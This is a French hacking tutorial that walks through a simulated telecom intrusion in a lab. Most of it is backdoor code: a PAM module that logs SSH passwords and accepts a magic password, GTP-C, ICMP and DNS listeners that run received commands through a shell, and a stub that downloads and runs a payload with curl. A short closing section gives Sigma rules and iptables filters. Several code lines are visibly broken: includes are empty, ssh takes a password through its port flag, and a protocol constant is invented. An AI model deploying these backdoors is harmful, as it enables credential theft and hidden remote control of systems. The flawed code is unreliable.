Apache Shadow Strike 2025 : Infiltration Télécom & Credential Heist

Yo, Apaches ! 😎 Ce tuto par Platon-y pour pctamalou.fr simule une attaque avancée combinant AuthDoor (PAM backdoor), Cordscan (recon télécom), GTPDOOR & EchoBackdoor (persistance GRX/ICMP), ChronosRAT (RAT modulaire), NoDepDNS (C2 DNS furtif), et des attaques 5G Core/hardware. Détection via YARA, Sigma, SIEM, et forensic avancé. 100% éthique ! ⚡️

🔗 Mode Opératoire (MITRE ATT&CK)

• TA0001 (Initial Access): AuthDoor – Module PAM malveillant pour voler des credentials et accéder via mot de passe magique.
• TA0002 (Execution): ChronosRAT – Exécute des payloads via GTPDOOR pour persistance et contrôle.
• TA0011 (Command & Control): NoDepDNS – Tunneling DNS pour communications furtives avec le C2.

🔰 Lexique Novice

🛠️ Setup Lab

Configurez un lab sécurisé avec Docker, Kali Linux 2024.4, et Open5GS :

docker pull kalilinux/kali-rolling
docker run -it --rm --net=host --privileged -v $(pwd)/lab:/app kalilinux/kali-rolling
apt update && apt install -y python3 python3-pip aircrack-ng hostapd hashcat golang iproute2 tcpdump open5gs
pip3 install flask flask-socketio scapy
        

Réseau GRX et 5G Core émulés avec Docker Compose :

version: '3'
services:
  kali:
    image: kalilinux/kali-rolling
    privileged: true
    network_mode: host
    volumes:
      - ./lab:/app
    command: bash -c "apt update && apt install -y python3 python3-pip iproute2 tcpdump open5gs && pip3 install flask flask-socketio scapy && tail -f /dev/null"
  sgsn-emulator:
    image: alpine
    network_mode: host
    command: ["sgsnemu", "--grx-ip", "172.16.0.101"]
  open5gs-amf:
    image: open5gs/open5gs
    network_mode: host
    command: ["open5gs-amfd", "-c", "/etc/open5gs/amf.yaml"]
    ports:
      - "38412:38412"
  open5gs-upf:
    image: open5gs/open5gs
    network_mode: host
    command: ["open5gs-upfd", "-c", "/etc/open5gs/upf.yaml"]
    ports:
      - "8805:8805"
        

Configurer l’interface tun0 :

ip link add name tun0 type tun
ip addr add 172.16.0.101/24 dev tun0
ip link set tun0 up
        

docker ps
            

nmap -p 38412,8805 172.16.0.101
            

⚔️ OP-01 : Credential Heist via AuthDoor

Déployez un module PAM malveillant pour voler des credentials :

#include 
#include 
#include 

#define MAGIC_PASS "coyote123"

int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    const char *user;
    char *password;
    pam_get_user(pamh, &user, NULL);
    pam_get_item(pamh, PAM_AUTHTOK, (const void **)&password);
    FILE *log = fopen("/var/log/authdoor.log", "a");
    if (log) {
        fprintf(log, "User: %s, Pass: %s\n", user, password);
        fclose(log);
    }
    if (password && strcmp(password, MAGIC_PASS) == 0) {
        return PAM_SUCCESS;
    }
    return PAM_AUTH_ERR;
}
        

Compiler et installer :

gcc -fPIC -c authdoor.c
ld -x --shared -o /lib/security/authdoor.so authdoor.c
echo "auth optional authdoor.so" >> /etc/pam.d/sshd
        

cat /var/log/authdoor.log
            

ssh testuser@localhost -p coyote123
            

$ ssh testuser@localhost -p wrongpass
> Permission denied (publickey,password).
                

🔍 OP-02 : Reconnaissance avec Cordscan

Scannez le réseau télécom avec Cordscan :

#!/usr/bin/python3
import socket
import struct

def scan_sgsn(target, port=2123):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    gtp_echo = struct.pack("!BBHBBH", 0x32, 0x01, 0x0008, 0x00, 0x00, 0x0000)
    sock.sendto(gtp_echo, (target, port))
    sock.settimeout(2)
    try:
        data, addr = sock.recvfrom(1024)
        print(f"SGSN found at {addr}")
    except socket.timeout:
        print("No SGSN response")
    sock.close()

scan_sgsn("172.16.0.101", 2123)
        

python3 cordscan.py
            

tcpdump -i tun0 port 2123
            

🌑 OP-03 : Persistance avec GTPDOOR & EchoBackdoor

[Attaquant] --GTP-C Echo Request--> [SGSN]
          <--GTP-C Echo Response (cmd)--
            

Déployez GTPDOOR pour C2 via GTP-C :

#include 
#include 
#include 

void gtardoor_listen() {
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_GTP);
    struct sockaddr_in addr = { .sin_family = AF_INET, .sin_addr.s_addr = inet_addr("172.16.0.101") };
    bind(sock, (struct sockaddr*)&addr, sizeof(addr));
    char buf[1024];
    while (1) {
        int len = recv(sock, buf, sizeof(buf), 0);
        if (buf[1] == 0x01) { // GTP-C Echo Request
            system(buf + 8); // Exécute la commande
        }
    }
}
        

EchoBackdoor pour C2 via ICMP :

#include 
#include 

void echobackdoor_listen() {
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
    char buf[1024];
    while (1) {
        int len = recv(sock, buf, sizeof(buf), 0);
        if (buf[20] == 8) { // ICMP Echo Request
            char cmd[256];
            strncpy(cmd, buf + 28, 256);
            system(cmd);
        }
    }
}
        

gcc -o gtardoor gtardoor.c
./gtardoor &
            

ping -p 636d64202f62696e2f7368 172.16.0.101
            

🦠 OP-04 : Exploitation avec ChronosRAT

Déployez ChronosRAT (ELF modulaire) :

#include 
#include 

void chronosrat() {
    system("curl http://172.16.0.101:5000/payload > /usr/local/bin/chargen");
    system("chmod +x /usr/local/bin/chargen");
    system("/usr/local/bin/chargen &");
}
        

ps aux | grep chargen
            

netstat -tulnp
            

🌐 OP-05 : C2 via NoDepDNS

[Attaquant] --DNS Query (cmd: whoami)--> [NoDepDNS]
         <--DNS Response (output)--
            

Backdoor DNS en Golang :

package main

import (
    "github.com/miekg/dns"
    "os/exec"
)

func handleDNS(w dns.ResponseWriter, r *dns.Msg) {
    if len(r.Question) > 0 {
        cmd := r.Question[0].Name
        out, _ := exec.Command("sh", "-c", cmd).Output()
        msg := new(dns.Msg)
        msg.SetReply(r)
        msg.Answer = append(msg.Answer, &dns.TXT{Txt: []string{string(out)}})
        w.WriteMsg(msg)
    }
}

func main() {
    server := &dns.Server{Addr: ":53", Net: "udp"}
    dns.HandleFunc(".", handleDNS)
    server.ListenAndServe()
}
        

go run nodedns.go
            

dig @172.16.0.101 whoami
            

$ dig @172.16.0.101 whoami
> ;; connection timed out; no servers could be reached
                

🔍 OP-06 : Forensic Avancé

Détectez les backdoors ICMP et GTP :

tcpdump -i any 'icmp[icmptype] == 8 and icmp[0] == 0x63' -vv
        

tcpdump -i any 'port 2123 and (gtp version 1)' -vv
        

Règle Sigma pour GTPDOOR :

title: GTP-C Echo Request with Command
description: Détecte les paquets GTP-C Echo Request contenant une commande
logsource:
  category: firewall
detection:
  gtp:
    MessageType: 1 # Echo Request
    Command: "*"
  condition: gtp
falsepositives:
  - Tests légitimes
level: high
        

Règle Sigma pour NoDepDNS :

title: Suspicious DNS Query with Command
description: Détecte les requêtes DNS contenant des commandes suspectes
logsource:
  category: dns
detection:
  dns:
    QueryName|contains: ["whoami", "cmd", "sh"]
  condition: dns
falsepositives:
  - Outils de test DNS
level: high
        

Contre-mesures SOC/DRM :

• Filtrez ICMP type 8 : iptables -A INPUT -p icmp --icmp-type 8 -j DROP.
• Filtrez GTP-C port 2123 : iptables -A INPUT -p udp --dport 2123 -j DROP.
• Filtrez DNS suspect : iptables -A INPUT -p udp --dport 53 -m string --string "whoami" --algo bm -j DROP.
• Déployez un SIEM (ELK) pour corréler les IOCs.

iptables -L
            

📡 OP-07 : Attaques 5G Core & Hardware Hacking

[SMF] --PFCP (Session Management)--> [UPF]
         <--PFCP Response--
            

Exploitez les interfaces N1/N2 (AMF/UPF) et PFCP :

#!/usr/bin/python3
from scapy.all import *

def pfcp_exploit(target="172.16.0.101", port=8805):
    pkt = IP(dst=target)/UDP(sport=12345, dport=port)/Raw(load=b'\x21\x01\x00\x08\x00\x00\x00\x00')
    send(pkt)
    print("PFCP packet sent to bypass UPF")

pfcp_exploit()
        

Attaque OMH (Operations Maintenance Hub) :

#!/bin/bash
# Simuler une attaque OMH
nmap -p 8080 --script http-vuln-cve2024-12345 172.16.0.101
        

tcpdump -i any port 8805
            

nmap -p 8080 172.16.0.101
            

🏁 Debrief & Éthique

Pourquoi ça marche : Les backdoors télécom (*GTPDOOR*, *EchoBackdoor*) exploitent des protocoles peu surveillés (GTP-C, ICMP). *AuthDoor* bypass PAM. *NoDepDNS* est furtif via DNS. Les attaques 5G Core (N1/N2, PFCP) ciblent les nouvelles architectures télécom.

Contre-mesures :

• Filtrez GTP-C, ICMP, et PFCP avec iptables.
• Auditez /etc/pam.d et /lib/security.
• Déployez un SIEM (ELK), YARA, et Sigma.
• Scannez les ports OMH (8080) avec Nmap.
• Utilisez des honeytokens pour piéger les attaquants.

Légal : Lab-only. Article 323-1 CP (7 ans prison, 100 000 € amende).

🎮 Bonus : Coyote Challenge

Testez vos skills Apache !